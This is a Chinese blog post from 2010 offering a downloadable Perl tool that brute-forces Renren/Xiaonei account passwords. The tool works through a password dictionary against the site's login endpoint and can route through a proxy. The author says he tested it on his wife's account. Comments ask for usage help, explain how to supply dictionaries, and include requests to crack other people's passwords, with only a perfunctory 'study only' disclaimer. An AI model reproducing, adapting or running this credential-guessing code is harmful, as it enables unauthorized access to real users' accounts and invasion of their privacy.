首页 > 工具代码 > 一个简单的校内网、人人网帐号暴力破解工具(Perl)

一个简单的校内网、人人网帐号暴力破解工具(Perl)

2010年3月3日 admin  21,012 views 发表评论 阅读评论

一个简单的校内网、人人网帐号暴力破解工具(Perl)
单线程、支持HTTP代理。

windows用户一般需要安装active perl等perl解析程序。

然后用老婆的账号测试了一下,因为我知道老婆的所有信息,让然我也知道老婆的密码,这里仅仅是测试一下。不一会就跑出了人人网账号的密码。

当然需要事先知道账号的邮箱地址才能破解。

此程序仅供学习研究之用,严禁用于侵犯别人隐私的行为。


#!/usr/bin/perl
# detectxn.pl
# Brute force for xiaonei.com、renren.com
# By 0x50sec.org Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;

sub isproxy
{
my $t=0;
foreach (@ARGV)
{
if ($ARGV[$t] eq “–proxy”){$proxy = $ARGV[$t+1]}
$t++;
}
}

sub Usage
{
print(“\n”);
print(“[+] Usage: $0 \n”);
print(“[+] Coded by hackerxwar\n”);
print(“\n”);
}

sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
my $lwp = new LWP::UserAgent or die;
$lwp->agent(‘Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6)’);
$lwp->proxy(“http”, “http://$proxy/”) if defined($proxy);
open(FH,”<$passdic”);
while() #readdicfile
{
chomp;
my $pwd=$_;
printf(“Now try …”.$user.”~~~~”.$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "/home.do?from=8000103",
]
);
my $myres=$res->content; #for test
#printf($myres) ; #for test
#print “$res->status_line”;
#if($myres=~/http:\/\/login.renren.com\/callback.do/)
#To judge if the login is sucess
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
print(“\n[+]“.$res->status_line.”\tlogin OK with : $user~~~~$pwd \n”);
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
last;
}
else
{
printf(“\t[-]“.$res->status_line.”\tlogin failed!\n”);
}
}
close(FH);
if($okflag == 0)
{
printf(“\n—————————————————–\n”);
printf(“[-]login failed with $user and dicfile $passdic…”);
printf(“\n—————————————————–\n”);
}
return 1;
}

if(@ARGV < 2)
{
Usage();
exit;
}
isproxy();
print (“Use proxy: “.$proxy.”\n”) if defined($proxy);
$target =”http://m.renren.com/login.do”;
$user=$ARGV[0];
$passdic=$ARGV[1];
Usage();
try_login($user,$passdic) or die “[-] login failed with $user and dic:$passdic\n”;

下载地址:cxn.pl.tar

  1. 老百姓
    2010年3月9日09:06 | #1

    俺是菜鸟,这个东西怎么用,大侠!!!!

  2. y
    2010年4月1日00:55 | #2

    不会啊

  3. admin
    2010年4月3日09:13 | #3

    很简单的~~~

  4. 求解!
    2010年4月11日23:32 | #4

    大哥能教教我吗?我QQ1138796527,我有急需

  5. ①的幸福
    2010年4月13日15:37 | #5

    这个是linux上运行的啊…

  6. cc
    2010年4月25日09:40 | #6

    求解! :
    大哥能教教我吗?我QQ 815856844,我有急需

  7. 2010年4月25日19:43 | #7

    你在windows上装好perl,然后开始,运行
    ppm install POSIX
    ppm install LWP

    然后保存那个代码,就可以正常运行了.

  8. 111
    2010年4月26日09:58 | #8

    为什么我的评论不显示啊?应该用邮箱地址替换那些语句啊?能举个例子吗?谢谢了。

  9. admin
    2010年4月26日10:29 | #9

    @cc

    @Ecore

    @求解!
    windows下安装activeperl就能运行了。

  10. admin
    2010年4月26日10:48 | #10

    @111
    抱歉前一阶段,小站被大量的垃圾评论困扰,所以就设置了所有评论都要审核,现在装了一个插件,防止垃圾评论。以后的评论就不需要审核了。
    感谢对小站的关注。

  11. 阿雪
    2010年4月28日17:26 | #11

    大大,帮忙说明一下代码吧,哪个地方应该填什么东西~~~帮帮忙啦~

  12. admin
    2010年4月29日12:11 | #12

    要是看不懂怎么用就不要用这个了啊~~~建议你去下载溯雪

  13. messi
    2010年4月30日14:34 | #13

    请问这个代码不会触发m.renren.com的IP封锁吗?我用别的软件爆破过m.renren.com, 爆了一小会儿m.renren.com就把我的IP加入黑名单了,不管是输入正确还是错误的账号密码它都会返回为密码错误

  14. 2010年5月4日17:35 | #14

    代码保存到哪个地方 谢谢说下@Ecore

  15. 2010年5月4日17:36 | #15

    我打开的时候,刚开一下他就自动关了

  16. 2010年5月4日17:37 | #16

    我打开的时候,刚开一下他就自动关了@Ecore

  17. admin
    2010年5月7日16:10 | #17

    不会是病毒吧~~~

  18. pengpeng
    2010年5月9日22:54 | #18

    我也是出现这个问题了 点开了窗口马上就关系 我是WIN7 有关系吗?
    @admin

    @admin

  19. pengpeng
    2010年5月9日22:55 | #19

    加我Q吧 14906583 帮帮我 有急用啊啊 谢谢啦@admin

  20. pengpeng
    2010年5月10日00:36 | #20

    需要更改代码的哪几个地方呢? 大虾说明一下
    @admin

  21. admin
    2010年5月10日11:45 | #21

    windows用户安装active perl,然后运行cmd,在命令行下运行。

  22. 2010年5月13日21:02 | #22

    配合词典用 或者自建一个txt
    不过暴力方法没啥意思 呵呵

  23. vera
    2010年6月20日23:23 | #23

    您能家以下我的 qq 么 316138846 谢谢@admin

  24. vera
    2010年6月20日23:24 | #24

    加一下 316138846 谢谢谢谢@admin

  25. vvpo
    2010年7月18日17:58 | #25

    @admin
    请问 邮箱地址要替换的是哪里? 能讲解下吗?

  26. s
    2010年7月26日19:22 | #26

    @admin
    求用法a 。加我qq好吗、936288202.感谢!!

  27. Act
    2010年8月8日18:13 | #27

    请问 邮箱地址要替换的是哪里? 能讲解下吗?@admin

  28. b
    2010年11月21日20:25 | #28

    看到Usage: D:\cxn.pl_.tar\cxn.pl 之后如何输入?比如邮箱是bb@hotmail.com,passworddic怎么填呢?谢谢!

  29. renren
    2010年11月26日12:20 | #29

    你好 请问 可以传个详细的教程吗??现在这种方法还能用吗??

  30. renren
    2010年11月27日20:11 | #30

    这玩意是盗版的吧 百度上是08年发布的 现在 还能用吗???

  31. RAY
    2010年12月11日01:58 | #31

    @b

    cxn.pl bb@hotmail.com 123.txt

    这个123.txt是你的密码字典,你可以上网找密码字典生成器生成一个字典,记得把生成的字典放到和主程序一个

    目录下。

    楼主给的这个方法是穷举法,就是所谓的暴力破解,可以用不过速度实在是很慢 人人网密码至少8位数 就算你

    要破解的那个账号密码是8个数字不含任何英文 生成的密码字典都相当庞大 估计得好几天才能试完

    如果有数字有英文有符号那就别破解了 一辈子也破不完

  32. admin
    2011年2月26日22:44 | #32

    这个破玩意还盗版~~~

  33. zsqpass
    2011年3月21日17:29 | #33

    没有词典……

  34. zsqpass
    2011年3月21日17:41 | #34

    密码词典要用什么格式啊?那里有(本人菜鸟一个。)

  35. zsqpass
    2011年3月21日17:51 | #35

    这个要在CMD环境里运行。
    @pengpeng

  36. nina
    2011年3月23日16:18 | #36

    老大给个详细教程吧~~~谢谢啦~

  37. BIAOZHUN
    2011年3月27日18:52 | #37

    老大,给个具体教程吧

  38. 荞面
    2011年4月7日11:46 | #38

    楼主请加我QQ374906068,有事请教!!拜托~~~

  39. H
    2011年4月22日16:08 | #39

    请问我又人人邮箱的话你可以帮我找到密码吗?我的电脑貌似用不了这个程序

  40. sorry
    2011年5月10日14:27 | #40

    还有我的Q 1653315040,谢谢啦

  41. siqibaobei
    2011年6月24日17:45 | #41

    教教我吧···加我QQ316874003

  42. fly
    2011年7月14日02:07 | #42

    qq 1506876986,帮帮忙

  43. nil
    2011年8月14日00:55 | #43

    @messi
    暴力破解费时费力,而且密码越怪癖越难破解要生成密码有可能需要几十、上百G的容量。还不一定能弄出来,密码的长度也很让人蛋疼。但是我认为应该有人有能力入侵人人网的服务器,从那里看密码应该很刺激的。哈哈。

  44. 忘不了
    2011年8月16日10:11 | #44

    请教!!!

  45. 忘不了
    2011年8月16日10:13 | #45

    请教!!!请帮助我!!!

  46. 管他是谁
    2011年8月19日12:43 | #46

    楼主,加我Q,2497370443 ,继续破解密码

  47. 管他是谁
    2011年8月19日12:45 | #47

    楼主,加我Q 2497370443,急需破解人人密码

  48. 败笔呀
    2011年9月3日15:48 | #48

    楼主 求加qq740877146 帮帮忙

  49. 会回
    2011年10月11日18:24 | #49

    @admin
    楼主,加我QQ1227697170,帮我忙啊

  1. 本文目前尚无任何 trackbacks 和 pingbacks.